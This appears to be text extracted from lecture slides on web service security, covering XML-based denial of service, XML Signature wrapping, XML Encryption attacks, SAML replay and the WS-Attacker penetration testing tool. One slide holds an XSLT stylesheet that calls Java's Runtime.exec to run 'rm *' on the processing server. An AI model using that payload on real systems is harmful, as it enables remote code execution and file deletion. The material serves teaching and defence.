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What is a Web Service?

• We consider SOAP, but similar attacks applicable to REST-
based Web Services
– XML- und JSON-Parsing

– XML- and JSON-Security
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Web Service specific Attacks
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XML-based Denial-of-Service
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• Coercive Parsing
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XSLT Code Execution

• Reference element allows one to define arbitrary 
transformations, for example XSLT

• It is possible to use XSLT functionality to execute an arbitrary 
function, if the Reference element is processed before 
SignatureValue

• Brad Hill: A Taxonomy of Attacks against XML Digital 
Signatures & Encryption 
(https://www.isecpartners.com/media/11982/isec_hill_attack
ingxmlsecurity_handout.pdf) 
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https://www.isecpartners.com/media/11982/isec_hill_attackingxmlsecurity_handout.pdf
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Execution of Java Functions

• Code Execution

• Initializes a Java object from a class and can execute its function

• Example:
– java.lang.Runtime: contains an exec(String command) function

– https://docs.oracle.com/javase/7/docs/api/java/lang/Runtime.html 

<xsl:stylesheet version="1.0" xmlns:xsl="…"

xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"

xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">

<xsl:template match="document">

<output>

<xsl:variable name="rtObj" select="rt:getRuntime()"/>

<xsl:value-of select="rt:exec($rtObj, ‘rm *')"/>

</output>

</xsl:template>

</xsl:stylesheet>
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Signature Types Overview
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McIntosh and Austel. XML Signature Element Wrapping attacks, 2005
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Typical XML Encryption Usage

• Web Services: Server side
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<Envelope>

<Header>

<Security>

<EncryptedKey>

<EncryptionMethod Algorithm="...xmlenc#rsa-1_5"/>

<CipherData>

<CipherValue>Y2bh...fPw==</CipherValue>

</CipherData>

</EncryptedKey>

</Security>

</Header>

<Body>

<EncryptedData>

<EncryptionMethod Algorithm="...xmlenc#aes128-cbc"/>

<CipherData>

<CipherValue>3bP...Zx0=</CipherValue>

</CipherData>

</EncryptedData>

</Body>

</Envelope>

Process:

1) decpk(ck)

2) deck(cdata)

k

Snidely Whiplash 

(Dudley Do-Right of the Mounties)
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0x00 NUL 0x20 0x40 @ 0x60 '

0x01 (Type A) 0x21 ! 0x41 A 0x61 a

0x02 (Type A) 0x22 " 0x42 B 0x62 b

0x03 (Type A) 0x23 # 0x43 C 0x63 c

0x04 (Type A) 0x24 $ 0x44 D 0x64 d

0x05 (Type A) 0x25 % 0x45 E 0x65 e

0x06 (Type A) 0x26 & 0x46 F 0x66 f

0x07 BEL 0x27 ' 0x47 G 0x67 g

0x08 BS 0x28 ( 0x48 H 0x68 h

0x09 HT 0x29 ) 0x49 I 0x69 i

0x0A LF 0x2A * 0x4A J 0x6A j

0x0B (Type A) 0x2B + 0x4B K 0x6B k

0x0C (Type A) 0x2C , 0x4C L 0x6C l

0x0D CR 0x2D - 0x4D M 0x6D m

0x0E (Type A) 0x2E . 0x4E N 0x6E n

0x0F (Type A) 0x2F / 0x4F O 0x6F o

0x10 (Type A) 0x30 0 0x50 P 0x70 p

0x11 (Type A) 0x31 1 0x51 Q 0x71 q

0x12 (Type A) 0x32 2 0x52 R 0x72 r

0x13 (Type A) 0x33 3 0x53 S 0x73 s

0x14 (Type A) 0x34 4 0x54 T 0x74 t

0x15 (Type A) 0x35 5 0x55 U 0x75 u

0x16 (Type A) 0x36 6 0x56 V 0x76 v

0x17 (Type A) 0x37 7 0x57 W 0x77 w

0x18 (Type A) 0x38 8 0x58 X 0x78 x

0x19 (Type A) 0x39 9 0x59 Y 0x79 y

0x1A (Type A) 0x3A : 0x5A Z 0x7A z

0x1B ESC 0x3B ; 0x5B [ 0x7B {

0x1C (Type A) 0x3C < 0x5C \ 0x7C |

0x1D (Type A) 0x3D = 0x5D ] 0x7D }

0x1E (Type A) 0x3E > 0x5E ^ 0x7E ~

0x1F (Type A) 0x3F ? 0x5F _ 0x7F DEL

Type A

Type B

Consider ASCII character M1 = (0,b1,b2,b3,b4,b5,b6,b7)
00 01 10 11
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Service 

Provider

Motivation – XML Security

• Additional Example: 
Browser-based Single Sign-On

• Using XML Signature & XML Encryption

Identity 

Provider

Website Visit 

and redirect

User: Bob

Role: guest
User: Bob

Role: guest

User: Bob

Role: guest
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Replay Attacks

12

<samlp:Response ID="GOSAMLR13807183183730"

IssueInstant="2013-10-02T12:51:58Z"

InResponseTo="aeebkeedaf…">

<samlp:Status/>

<saml:Assertion ID="pfx0f66fc4e-1010-5639-56b9-1852c14c286d"

IssueInstant="2013-10-02T12:51:58Z">

<saml:Issuer/>

<ds:Signature/>

<saml:Subject>

<saml:NameID/>

<saml:SubjectConfirmation ...>

<saml:SubjectConfirmationData NotOnOrAfter="2013-10-02T12:54:58Z"

Recipient=„…"

InResponseTo="aeebkeedaf…"/>

</saml:SubjectConfirmation>

</saml:Subject>

<saml:Conditions NotBefore="2013-10-02T12:48:58Z"

NotOnOrAfter="2013-10-02T12:54:58Z">

<saml:OneTimeUse/>

</saml:Conditions>

</saml:Assertion>

</samlp:Response>
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WS-Attacker

First Automatic Penetration Testing Tool using XML Specific Attacks
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WS-Attacker‘s Current Attacks

• SOAPAction Spoofing

• WS-Addressing Spoofing

• XML Signature Wrapping for SOAP

• XML Denial of Service

• XML Encryption Attacks

Server

Allow: getServerTime

Deny: getAdminConf
HTTP: getServerTime

SOAP: getAdminConf

Server A Server B

ReplyTo: Server B
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SOAP  vs REST

<soapenv:Envelope>
<soapenv:Body>

<payment>
<ccNumber>1234</ccNumber>
<name>bob</name>
<expDate>2015-04</expDate>
<amount>1343</amount>

</payment>
</soapenv:Body>

</soapenv:Envelope>

POST services/payment

{
"creditCardNumber":“1234",
"name":”bob",
"expirationDate":“2015-04",
"amount":"1343“

}

VS
POST services

<payment>
<ccNumber>1234</ccNumber>
<name>bob</name>
<expDate>2015-04</expDate>
<amount>1343</amount>

</payment>
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